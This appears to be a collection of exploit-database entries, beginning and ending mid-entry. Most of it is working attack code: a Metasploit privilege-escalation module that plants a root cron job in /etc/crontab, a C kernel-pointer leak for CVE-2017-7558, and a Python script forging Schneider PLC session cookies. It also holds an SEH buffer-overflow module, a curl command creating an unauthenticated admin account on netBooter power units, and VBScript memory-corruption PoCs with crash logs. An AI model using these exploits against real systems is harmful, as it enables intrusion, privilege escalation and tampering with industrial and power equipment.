      vprint_error "Kernel version #{release} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Kernel version #{release} appears to be vulnerable"

    CheckCode::Appears
  end

  def on_new_session(session)
    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.sys.process.execute '/bin/sh', "-c \"/bin/sed -i '\$ d' /etc/crontab\""
    else
      session.shell_command("/bin/sed -i '\$ d' /etc/crontab")
    end
  ensure
    super
  end

  def exploit
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload executables
    subuid_shell_name = ".#{rand_text_alphanumeric 5..10}"
    subuid_shell_path = "#{base_dir}/#{subuid_shell_name}"
    subshell_name = ".#{rand_text_alphanumeric 5..10}"
    subshell_path = "#{base_dir}/#{subshell_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile subuid_shell_path, exploit_data('subuid_shell.c')
      upload_and_compile subshell_path, exploit_data('subshell.c')
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx subuid_shell_path, exploit_data('subuid_shell.out')
      upload_and_chmodx subshell_path, exploit_data('subshell.out')
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Adding cron job...'
    output = cmd_exec "echo \"echo '* * * * * root #{payload_path}' >> /etc/crontab\" | #{subuid_shell_path} #{subshell_path} "
    output.each_line { |line| vprint_status line.chomp }

    crontab = read_file '/etc/crontab'
    unless crontab.include? payload_path
      fail_with Failure::Unknown, 'Failed to add cronjob'
    end

    print_good 'Success. Waiting for job to run (may take a minute)...'
  end
end
            
/*
# Exploit Title: Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp kernel pointer
# Google Dork: -
# Date: 2018-11-20
# Exploit Author: Jinbum Park
# Vendor Homepage: -
# Software Link: -
# Version: Linux Kernel 4.8 (Ubuntu 16.04)
# Tested on: 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
# CVE: 2017-7558
# Category: Local
*/

/*
 * [ Briefs ] 
 *    - CVE-2017-7558 has discovered and reported by Stefano Brivio of the Red Hat. (but, no publicly available exploit)
 *    - This is local exploit against the CVE-2017-7558.
 *
 * [ Tested version ]
 *    - 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 *
 * [ Prerequisites ]
 *    - sudo apt-get install libsctp-dev
 *
 * [ Goal ]
 *    - Leak kernel symbol address of "sctp_af_inet"
 *
 * [ Run exploit ]
 *    - $ gcc poc.c -o poc -lsctp -lpthread
 *    - $ ./poc
 *      [] Waiting for connection
 *      [] New client connected
 *      [] Received data: Hello, Server!
 *      [] sctp_af_inet address : 0
 *      [] sctp_af_inet address : ffffffffc0c541e0
 *      [] sctp_af_inet address : 0
 *      [] sctp_af_inet address : ffffffffc0c541e0  (leaked kernel pointer)
 *    - $ sudo cat /proc/kallsyms | grep sctp_af_inet  (Check whether leaked pointer value is corret)
 *      ffffffffc0c541e0 d sctp_af_inet [sctp]
 *
 * [ Contact ]
 *    - jinb.park7@gmail.com
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <netinet/in.h>
#include <linux/tcp.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <pwd.h>
#include <pthread.h>
#include <errno.h>

#define MY_PORT_NUM 62324

struct sctp_info {
    __u32   sctpi_tag;
    __u32   sctpi_state;
    __u32   sctpi_rwnd;
    __u16   sctpi_unackdata;
    __u16   sctpi_penddata;
    __u16   sctpi_instrms;
    __u16   sctpi_outstrms;
    __u32   sctpi_fragmentation_point;
    __u32   sctpi_inqueue;
    __u32   sctpi_outqueue;
    __u32   sctpi_overall_error;
    __u32   sctpi_max_burst;
    __u32   sctpi_maxseg;
    __u32   sctpi_peer_rwnd;
    __u32   sctpi_peer_tag;
    __u8    sctpi_peer_capable;
    __u8    sctpi_peer_sack;
    __u16   __reserved1;

    /* assoc status info */
    __u64   sctpi_isacks;
    __u64   sctpi_osacks;
    __u64   sctpi_opackets;
    __u64   sctpi_ipackets;
    __u64   sctpi_rtxchunks;
    __u64   sctpi_outofseqtsns;
    __u64   sctpi_idupchunks;
    __u64   sctpi_gapcnt;
    __u64   sctpi_ouodchunks;
    __u64   sctpi_iuodchunks;
    __u64   sctpi_oodchunks;
    __u64   sctpi_iodchunks;
    __u64   sctpi_octrlchunks;
    __u64   sctpi_ictrlchunks;

    /* primary transport info */
    struct sockaddr_storage sctpi_p_address;
    __s32   sctpi_p_state;
    __u32   sctpi_p_cwnd;
    __u32   sctpi_p_srtt;
    __u32   sctpi_p_rto;
    __u32   sctpi_p_hbinterval;
    __u32   sctpi_p_pathmaxrxt;
    __u32   sctpi_p_sackdelay;
    __u32   sctpi_p_sackfreq;
    __u32   sctpi_p_ssthresh;
    __u32   sctpi_p_partial_bytes_acked;
    __u32   sctpi_p_flight_size;
    __u16   sctpi_p_error;
    __u16   __reserved2;

    /* sctp sock info */
    __u32   sctpi_s_autoclose;
    __u32   sctpi_s_adaptation_ind;
    __u32   sctpi_s_pd_point;
    __u8    sctpi_s_nodelay;
    __u8    sctpi_s_disable_fragments;
    __u8    sctpi_s_v4mapped;
    __u8    sctpi_s_frag_interleave;
    __u32   sctpi_s_type;
    __u32   __reserved3;
};

enum {
    SS_UNKNOWN,
    SS_ESTABLISHED,
    SS_SYN_SENT,
    SS_SYN_RECV,
    SS_FIN_WAIT1,
    SS_FIN_WAIT2,
    SS_TIME_WAIT,
    SS_CLOSE,
    SS_CLOSE_WAIT,
    SS_LAST_ACK,
    SS_LISTEN,
    SS_CLOSING,
    SS_MAX
};

enum sctp_state {
    SCTP_STATE_CLOSED       = 0,
    SCTP_STATE_COOKIE_WAIT      = 1,
    SCTP_STATE_COOKIE_ECHOED    = 2,
    SCTP_STATE_ESTABLISHED      = 3,
    SCTP_STATE_SHUTDOWN_PENDING = 4,
    SCTP_STATE_SHUTDOWN_SENT    = 5,
    SCTP_STATE_SHUTDOWN_RECEIVED    = 6,
    SCTP_STATE_SHUTDOWN_ACK_SENT    = 7,
};

enum {
    TCP_ESTABLISHED = 1,
    TCP_SYN_SENT,
    TCP_SYN_RECV,
    TCP_FIN_WAIT1,
    TCP_FIN_WAIT2,
    TCP_TIME_WAIT,
    TCP_CLOSE,
    TCP_CLOSE_WAIT,
    TCP_LAST_ACK,
    TCP_LISTEN,
    TCP_CLOSING,    /* Now a valid state */
    TCP_NEW_SYN_RECV,

    TCP_MAX_STATES  /* Leave at the end! */
};

enum sctp_sock_state {
    SCTP_SS_CLOSED         = TCP_CLOSE,
    SCTP_SS_LISTENING      = TCP_LISTEN,
    SCTP_SS_ESTABLISHING   = TCP_SYN_SENT,
    SCTP_SS_ESTABLISHED    = TCP_ESTABLISHED,
    SCTP_SS_CLOSING        = TCP_CLOSE_WAIT,
};

static volatile int servser_stop_flag = 0;
static volatile int client_stop_flag = 0;

static void *server_thread(void *arg) {
    int listen_fd, conn_fd, flags, ret, in;
    char buffer[1024];
    struct sctp_sndrcvinfo sndrcvinfo;
    struct sockaddr_in servaddr = {
            .sin_family = AF_INET,
            .sin_addr.s_addr = htonl(INADDR_ANY),
            .sin_port = htons(MY_PORT_NUM),
    };
    struct sctp_initmsg initmsg = {
            .sinit_num_ostreams = 5,
            .sinit_max_instreams = 5,
            .sinit_max_attempts = 4,
    };

    listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (listen_fd < 0)
        return NULL;

    ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
    if (ret < 0)
        return NULL;

    ret = setsockopt(listen_fd, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg));
    if (ret < 0)
        return NULL;

    ret = listen(listen_fd, initmsg.sinit_max_instreams);
    if (ret < 0)
        return NULL;
    
    printf("[] Waiting for connection\n");

    conn_fd = accept(listen_fd, (struct sockaddr *) NULL, NULL);
    if(conn_fd < 0)
        return NULL;

    printf("[] New client connected\n");

    in = sctp_recvmsg(conn_fd, buffer, sizeof(buffer), NULL, 0, &sndrcvinfo, &flags);
    if (in > 0) {
        printf("[] Received data: %s\n", buffer);
    }

    while (servser_stop_flag == 0)
        sleep(1);

    close(conn_fd);
    return NULL;
}

static void *client_thread(void *arg) {
    int conn_fd, ret;
    const char *msg = "Hello, Server!";
    struct sockaddr_in servaddr = {
            .sin_family = AF_INET,
            .sin_port = htons(MY_PORT_NUM),
            .sin_addr.s_addr = inet_addr("127.0.0.1"),
    };

    conn_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (conn_fd < 0)
        return NULL;

    ret = connect(conn_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
    if (ret < 0)
        return NULL;

    ret = sctp_sendmsg(conn_fd, (void *) msg, strlen(msg) + 1, NULL, 0, 0, 0, 0, 0, 0 );
    if (ret < 0)
         return NULL;

    while (client_stop_flag == 0)
        sleep(1);

    close(conn_fd);
    return NULL;
}

//Copied from libmnl source
#define SOCKET_BUFFER_SIZE (getpagesize() < 8192L ? getpagesize() : 8192L)

int send_diag_msg(int sockfd){
    struct msghdr msg;
    struct nlmsghdr nlh;
    struct inet_diag_req_v2 conn_req;
    struct sockaddr_nl sa;
    struct iovec iov[4];
    int retval = 0;

    //For the filter
    struct rtattr rta;
    void *filter_mem = NULL;
    int filter_len = 0;

    memset(&msg, 0, sizeof(msg));
    memset(&sa, 0, sizeof(sa));
    memset(&nlh, 0, sizeof(nlh));
    memset(&conn_req, 0, sizeof(conn_req));

    sa.nl_family = AF_NETLINK;

    conn_req.sdiag_family = AF_INET;
    conn_req.sdiag_protocol = IPPROTO_SCTP;
    conn_req.idiag_states = SCTP_SS_CLOSED;
    conn_req.idiag_ext |= (1 << (INET_DIAG_INFO - 1));
    
    nlh.nlmsg_len = NLMSG_LENGTH(sizeof(conn_req));
    nlh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;

    nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    iov[0].iov_base = (void*) &nlh;
    iov[0].iov_len = sizeof(nlh);
    iov[1].iov_base = (void*) &conn_req;
    iov[1].iov_len = sizeof(conn_req);

    //Set essage correctly
    msg.msg_name = (void*) &sa;
    msg.msg_namelen = sizeof(sa);
    msg.msg_iov = iov;
    if(filter_mem == NULL)
        msg.msg_iovlen = 2;
    else
        msg.msg_iovlen = 4;
   
    retval = sendmsg(sockfd, &msg, 0);

    if(filter_mem != NULL)
        free(filter_mem);

    return retval;
}

void parse_diag_msg(struct inet_diag_msg *diag_msg, int rtalen){
    struct rtattr *attr;
    struct sctp_info *sctpi;
    int i;
    unsigned char *ptr;

    if(diag_msg->idiag_family != AF_INET && diag_msg->idiag_family != AF_INET6) {
        fprintf(stderr, "Unknown family\n");
        return;
    }

    if(rtalen > 0){
        attr = (struct rtattr*) (diag_msg+1);

        while(RTA_OK(attr, rtalen)){
            if(attr->rta_type == INET_DIAG_INFO){
                // leak kernel pointer here!!
                sctpi = (struct sctp_info*) RTA_DATA(attr);
                ptr = ((unsigned char *)&sctpi->sctpi_p_address + 32);
                printf("[] sctp_af_inet address : %lx\n", *(unsigned long *)ptr);
            }
            attr = RTA_NEXT(attr, rtalen);
        }
    }
}

int main(int argc, char *argv[]){
    int nl_sock = 0, numbytes = 0, rtalen = 0;
    struct nlmsghdr *nlh;
    uint8_t recv_buf[SOCKET_BUFFER_SIZE];
    struct inet_diag_msg *diag_msg;
    pthread_t sctp_server;
    pthread_t sctp_client;

    // run sctp server & client
    if (pthread_create(&sctp_server, NULL, server_thread, NULL))
        return EXIT_FAILURE;
    sleep(2);

    if (pthread_create(&sctp_client, NULL, client_thread, NULL))
        return EXIT_FAILURE;
    sleep(2);

    // run inet_diag
    if((nl_sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_INET_DIAG)) == -1){
        perror("socket: ");
        return EXIT_FAILURE;
    }

    if(send_diag_msg(nl_sock) < 0){
        perror("sendmsg: ");
        return EXIT_FAILURE;
    }

    while(1){
        numbytes = recv(nl_sock, recv_buf, sizeof(recv_buf), 0);
        nlh = (struct nlmsghdr*) recv_buf;

        while(NLMSG_OK(nlh, numbytes)){
            if(nlh->nlmsg_type == NLMSG_DONE) {
                return EXIT_SUCCESS;
            }

            if(nlh->nlmsg_type == NLMSG_ERROR){
                fprintf(stderr, "Error in netlink message\n");
                return EXIT_FAILURE;
            }

            diag_msg = (struct inet_diag_msg*) NLMSG_DATA(nlh);
            rtalen = nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*diag_msg));
            parse_diag_msg(diag_msg, rtalen);

            nlh = NLMSG_NEXT(nlh, numbytes); 
        }
    }
    printf("loop next\n");

    // exit threads
    client_stop_flag = 1;
    if (pthread_join(sctp_client, NULL))
        return EXIT_FAILURE;

    servser_stop_flag = 1;
    if (pthread_join(sctp_server, NULL))
        return EXIT_FAILURE;

    printf("end\n");
    return EXIT_SUCCESS;
}
            
#!/usr/bin/env python
''' 
	Copyright 2018 Photubias(c)
	# Exploit Title: Schneider Session Calculation - CVE-2017-6026
	# Date: 2018-09-30
	# Exploit Author: Deneut Tijl
	# Vendor Homepage: www.schneider-electric.com
	# Software Link: https://www.schneider-electric.com/en/download/document/M241-M251+Firmware+v4.0.3.20/
	# Version: Schneider Electric PLC 4.0.2.11 & Boot v0.0.2.11
	# CVE : CVE-2017-6026

        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.

        File name CVE-2017-6026-SchneiderSessionCalculation.py
        written by tijl[dot]deneut[at]howest[dot]be

        Tested on the Schneider TM241 PLC with Firmware 4.0.2.11 & Boot 0.0.2.11.
        Firmware: https://www.schneider-electric.com/en/download/document/M241-M251+Firmware+v4.0.3.20/
        Security Note: https://www.schneider-electric.com/en/download/document/SEVD-2017-075-02/

        This script will calculate the website session cookie, which is static after every reboot.
        (This cookie is actually the Epoch time at PLC startup)
        The only prerequisite is that, since the reboot, a user must have been logged in.
                E.g. Administrator (with default password 'admin')
                or   USER (with default password 'USER')

		After retrieving the cookie, various website actions are possible (including a DoS).
		Sample output:
		C:\Users\admin\Desktop>SchneiderGetSession.py
		Please enter an IP [10.10.36.224]:
		This device has booted 33 times
		Cookie: 1521612584 (22/03/2018 06:09:44.014)
		----------------
		--- Device:      TM241CE40R
		--- MAC Address: 0080F40B24E0
		--- Firmware:    4.0.2.11
		--- Controller:  Running
		----------------
		Press Enter to close
'''
import urllib2

strIP = raw_input('Please enter an IP [10.10.36.224]: ')
if strIP == '': strIP = '10.10.36.224'
FwLogURL = 'http://' + strIP + '/usr/Syslog/FwLog.txt'
try:
    FwLogResp = urllib2.urlopen(urllib2.Request(FwLogURL)).readlines()
    NumberOfPowerOns = 0
    for line in FwLogResp:
        if 'Firmware core2' in line:
            NumberOfPowerOns += 1
            CookieVal = line.split(' ')[1]
            BootupTime = line.split('(')[1].split(')')[0]
    NumberOfPowerOns /= 2
except:
    print('Error: URL not found.')
    raw_input('Press enter to exit')
    exit()

try:
    CookieVal
except:
    print('Error: ' + FwLogURL + ' does not contain the necessary data.')
    raw_input('Press Enter to Exit')
    exit()

print('This device has booted ' + str(NumberOfPowerOns) + ' times')
print('Cookie: ' + CookieVal + ' (' + BootupTime + ')')
print('----------------')
raw_input('Press enter to see if the cookie is set on the webserver.'+"\n")

CtrlURL = 'http://' + strIP + '/plcExchange/getValues/'
CtrlPost = 'S;100;0;136;s;s;S;2;0;24;w;d;S;1;0;8;B;d;S;1;0;9;B;d;S;1;0;10;B;d;S;1;0;11;B;d;'

try:
    CtrlUser = 'Administrator'
    DataReq = urllib2.Request(CtrlURL, CtrlPost, headers={'Cookie':'M258_LOG=' + CtrlUser + ':' + CookieVal})
    DataResp = urllib2.urlopen(DataReq).read()
except:
    print('Failure for user \'Administrator\'')
    try:
        CtrlUser = 'USER'
        DataReq = urllib2.Request(CtrlURL, CtrlPost, headers={'Cookie':'M258_LOG=' + CtrlUser + ':' + CookieVal})
        DataResp = urllib2.urlopen(DataReq).read()
    except:
        print('Failure for user \'USER\'')
        raw_input('Press enter to exit')
print('### SUCCESS (' + CtrlUser + ') ###')
print('--- Device:      ' + DataResp.split(' ')[0])
print('--- MAC Address: ' + DataResp.split(';')[0].split(' ')[1][1:])
print('--- Firmware:    ' + DataResp.split(';')[2] + '.' + DataResp.split(';')[3] + '.' +DataResp.split(';')[4] + '.' +DataResp.split(';')[5])
state = DataResp.split(';')[1]
if state == '2':
    print('--- Controller:  Running')
elif state == '1':
    print('--- Controller:  Stopped')
elif state == '0':
    print('--- Controller:  ERROR mode')
print('')
print('--- To exploit: Create cookie for domain "'+strIP+'"')
print('    with name "M258_LOG" and value "'+CtrlUser+':'+CookieVal+'"')
print('    and open "http://'+strIP+'/index2.htm"')
print('')
print('----------------')

raw_input('Press enter to close')
exit()
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'HTML5 Video Player 1.2.5 - Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in HTML5 Video Player 1.2.5 , when
          with the name "msf.txt". 1.file with the name "msf.txt" and copy content to clipboard ,2.Open software, click Help > Register and paste "Username" click "OK".
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [ 
          'T3jv1l',                       # Original discovery
          'Kağan Çapar',                  # Original discovery
          'd3ckx1 d3ck(at)qq.com',       # MSF module
        ],
      'References'  =>
        [
          [ 'OSVDB', '' ],
          [ 'EBD', '45888' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'  => 'win',
      'Payload'   =>
        {
          'BadChars'    => "\x00\x0a\x0d\x1a",
          'DisableNops' => true,
          'Space'       => 4000
        },
      'Targets'   =>
        [
          [ 'HTML Video Player 1.2.5',
            {
              'Ret'     =>  0x7C901931, # 0x7C901931 : P/P/R FROM ntdll.dll form winxp sp3
              'Offset'  =>  1984
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Nov 22 2018',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.txt']),], self.class)

  end

  def exploit
    buf = "\x41"*(target['Offset'])
    buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
    buf << [target.ret] .pack('V')  # seh
    buf << make_nops(30)
    buf << payload.encoded
    buf << "\x90" * 300

    file_create(buf)
    handler
    
  end
end
            
Synaccess netBooter NP-02x/NP-08x 6.8 Authentication Bypass


Vendor: Synaccess Networks Inc.
Product web page: https://www.synaccess-net.com
Affected version: NP-0201D (ver 6.8C)
                  NP-02    (ver 6.5C)
                  NP-02    (ver 6.4BC)
                  NP-0801D (ver 6.4A)
                  NP-08    (ver 6.10)
                  NP-02    (ver 5.53BC)

Summary: netBooter NP-02B and NP-02BH provide independent
control of one or two outlets in a small, robust form factor.
Manageable via TCP/IP network or direct serial connection
and 1U brackets (optional) for mounting. Control power to
your devices with the ability to fit just about anywhere.

netBooter NP-0801DU and NP-0801DUH PDUs provide secured
remote power source management of 8 independent outlets.
Includes true RMS AC current reading and environment
temperature monitoring* via TCP/IP networks or local direct
connection.

Desc: netBooter suffers from an authentication bypass
vulnerability due to missing control check when calling
webNewAcct.cgi script while creating users. This allows an
unauthenticated attacker to create admin user account and
bypass authentication giving her the power to turn off a
power supply to a resource.

Tested on: Synaccess server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5500
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5500.php


05.11.2018

--

PoC:

curl -i http://10.0.0.17/webNewAcct.cgi --data "A1=hackerplusplus&A2=1234&A2=1234"
            
<!--
There is an out-of-bounds vulnerability in Microsoft VBScript. The vulnerability has been confirmed in Internet Explorer on Windows 7 with the latest patches applied.

PoC:
(Note that Page Heap might need to be enabled to observe the crash)

===============================================================================
-->

<!-- saved from url=(0016)http://localhost -->
<meta http-equiv="x-ua-compatible" content="IE=10">
<script type="text/vbscript">
On Error Resume Next

Class class1
  Public Default Property Get x
    ReDim arr(1)
  End Property
End Class

set c = new class1
arr = Array("b", "b", "a", "a", c)
Call Filter(arr, "a")

</script>

<!--
===============================================================================

Preliminary Analysis:

The rtFilter function is called from VbsFilter when a Filter() function is invoked. The Filter() function takes an array of strings and a string as params and returns another array containing just those elements from the original array that contain the specified (sub)string.

The issue is that the input array can be resized during the rtFilter call (by invoking a default getter on one of the input array members) and rtFilter fails to handle this case correctly. While rtFilter does implement some logic to determine if the input array has been resized, this logic fails to take into account elements of the input array that *do not match* the input string (Notice the "b" strings in the PoC and how the PoC would stop to work if those are all changed to "a").

Debug log:

===============================================================================

(a04.604): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000002 ecx=0d9d6fe0 edx=0d9cf000 esi=0d9cf000 edi=0d924ff6
eip=767d497b esp=09d2bcbc ebp=09d2bcc8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
OLEAUT32!VariantCopy+0xb:
767d497b 0fb73e          movzx   edi,word ptr [esi]       ds:002b:0d9cf000=????

0:007> r
eax=00000000 ebx=00000002 ecx=0d9d6fe0 edx=0d9cf000 esi=0d9cf000 edi=0d924ff6
eip=767d497b esp=09d2bcbc ebp=09d2bcc8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
OLEAUT32!VariantCopy+0xb:
767d497b 0fb73e          movzx   edi,word ptr [esi]       ds:002b:0d9cf000=????

0:007> k
 # ChildEBP RetAddr  
00 09d2bcc8 6f81b301 OLEAUT32!VariantCopy+0xb
01 09d2bd04 6f81b607 vbscript!rtFilter+0x183
02 09d2bd40 6f805407 vbscript!VbsFilter+0x128
03 09d2bd5c 6f80358d vbscript!StaticEntryPoint::Call+0x2f
04 09d2be74 6f805d5e vbscript!CScriptRuntime::RunNoEH+0x2340
05 09d2bec4 6f805c7b vbscript!CScriptRuntime::Run+0xc3
06 09d2bfd4 6f82e888 vbscript!CScriptEntryPoint::Call+0x10b
07 09d2c038 6f80642b vbscript!CSession::Execute+0x12b
08 09d2c088 6f80bc88 vbscript!COleScript::ExecutePendingScripts+0x14f
09 09d2c104 6f80d1b9 vbscript!COleScript::ParseScriptTextCore+0x2a4
0a 09d2c130 6d577d14 vbscript!COleScript::ParseScriptText+0x29
0b 09d2c168 6d5781eb MSHTML!CActiveScriptHolder::ParseScriptText+0x51
0c 09d2c1d8 6d22d1d1 MSHTML!CScriptCollection::ParseScriptText+0x1c6
0d 09d2c2c4 6d22cd73 MSHTML!CScriptData::CommitCode+0x31e
0e 09d2c344 6d22d90d MSHTML!CScriptData::Execute+0x232
0f 09d2c364 6d554bb6 MSHTML!CHtmScriptParseCtx::Execute+0xed
10 09d2c3b8 6cf4c33d MSHTML!CHtmParseBase::Execute+0x201
11 09d2c3d4 6cf4bd5f MSHTML!CHtmPost::Broadcast+0x182
12 09d2c50c 6d013799 MSHTML!CHtmPost::Exec+0x617
13 09d2c52c 6d0136ff MSHTML!CHtmPost::Run+0x3d
14 09d2c548 6d01aef7 MSHTML!PostManExecute+0x61
15 09d2c55c 6d01bce8 MSHTML!PostManResume+0x7b
16 09d2c58c 6d0024b8 MSHTML!CHtmPost::OnDwnChanCallback+0x38
17 09d2c5a4 6cefd4f3 MSHTML!CDwnChan::OnMethodCall+0x2f
18 09d2c5f4 6cefd072 MSHTML!GlobalWndOnMethodCall+0x1a1
19 09d2c648 764262fa MSHTML!GlobalWndProc+0x103
1a 09d2c674 76426d3a user32!InternalCallWinProc+0x23
1b 09d2c6ec 764277c4 user32!UserCallWinProcCheckWow+0x109
1c 09d2c74c 7642788a user32!DispatchMessageWorker+0x3b5
1d 09d2c75c 6e2fab7c user32!DispatchMessageW+0xf
1e 09d2f928 6e3675f8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\iertutil.dll - 
1f 09d2f9e8 77006b7c IEFRAME!LCIETab_ThreadProc+0x3e7
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Internet Explorer\IEShims.dll - 
WARNING: Stack unwind information not available. Following frames may be wrong.
20 09d2fa00 714f3a31 iertutil!PrivateCoInternetCombineIUri+0x2bbc
21 09d2fa38 7735343d IEShims!IEShims_SetRedirectRegistryForThread+0x1c1
22 09d2fa44 77879802 kernel32!BaseThreadInitThunk+0xe
23 09d2fa84 778797d5 ntdll!__RtlUserThreadStart+0x70
24 09d2fa9c 00000000 ntdll!_RtlUserThreadStart+0x1b

===============================================================================
-->
            
<!--
There is a use-after-free vulnerability (possibly two vulnerabilities triggerable by the same PoC, see below) in Microsoft VBScript. The vulnerability has been confirmed in Internet Explorer on Windows 7 with the latest patches applied.

PoC:
(Note that Page Heap might need to be enabled to observe the crash.)

===============================================================================
-->

<!-- saved from url=(0014)about:internet -->
<meta http-equiv="x-ua-compatible" content="IE=10">
<script type="text/vbscript">

Class class2
  Private Sub Class_Terminate()
    var17.RemoveAll
  End Sub
End Class

Set var17 = CreateObject("Scripting.Dictionary")
Set var17.Item("foo") = new class2
var17.Item("foo") = 1

</script>

<!--
===============================================================================

Preliminary Analysis:

1st issue: In OLEAUT32!VariantClear, if the Variant is an object, the object destructor is going to be called and immediately after that the variant type is going to be (un)set. However, the object destructor can call attacker-controlled VBScript and the memory holding the Variant could be freed, as demonstrated by the PoC. This is also visible in the following snippet of code taken from the 64-bit version of OLEAUT32!VariantClear:

000007fe`ff0c11d3 ff5010          call    qword ptr [rax+10h]
000007fe`ff0c11d6 66892f          mov     word ptr [rdi],bp ds:00000000`0486cfd8=????

2nd issue: Even if the 1st issue was fixed, the PoC would still trigger another issue, which is that VBADictionary::put_Item calls VariantCopy immediately after VariantClear in order to set the new value in the dictionary. If VariantClear deletes the memory containing the variant (as demonstrated earlier), VariantCopy is going to access the freed memory. This is visible in the following snippet of code from VBADictionary::put_Item:

000007fe`f08bd48a ff15200d0100    call    qword ptr [scrrun!_imp_VariantClear (000007fe`f08ce1b0)]
000007fe`f08bd490 488bd7          mov     rdx,rdi
000007fe`f08bd493 488bcb          mov     rcx,rbx
000007fe`f08bd496 ff151c0d0100    call    qword ptr [scrrun!_imp_VariantCopy (000007fe`f08ce1b8)]

Debug log:

===============================================================================

(c08.4a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000009 ecx=0b93ffb8 edx=00a61078 esi=080e2fe8 edi=00000009
eip=759c3f3a esp=0a34b6bc ebp=0a34b6c8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
OLEAUT32!VariantClear+0xdb:
759c3f3a 668906          mov     word ptr [esi],ax        ds:002b:080e2fe8=????

0:008> r
eax=00000000 ebx=00000009 ecx=0b93ffb8 edx=00a61078 esi=080e2fe8 edi=00000009
eip=759c3f3a esp=0a34b6bc ebp=0a34b6c8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
OLEAUT32!VariantClear+0xdb:
759c3f3a 668906          mov     word ptr [esi],ax        ds:002b:080e2fe8=????

0:008> k
 # ChildEBP RetAddr  
00 0a34b6c8 7347329a OLEAUT32!VariantClear+0xdb
01 0a34b6e4 6b2d6ef5 IEShims!NS_ATLMitigation::APIHook_VariantClear+0x5d
02 0a34b72c 759dcc43 scrrun!VBADictionary::put_Item+0x7e
03 0a34b74c 759dcabd OLEAUT32!DispCallFunc+0x165
04 0a34b7dc 6b2d4d25 OLEAUT32!CTypeInfo2::Invoke+0x23f
05 0a34b80c 6c449b2d scrrun!VBADictionary::Invoke+0x5a
06 0a34b850 6c449a5e vbscript!IDispatchInvoke2+0xbf
07 0a34b888 6c450040 vbscript!IDispatchInvoke+0x55
08 0a34baa4 6c449171 vbscript!InvokeDispatch+0x2c0
09 0a34bacc 6c423ea1 vbscript!InvokeByName+0x48
0a 0a34bbe4 6c425d5e vbscript!CScriptRuntime::RunNoEH+0x2d4e
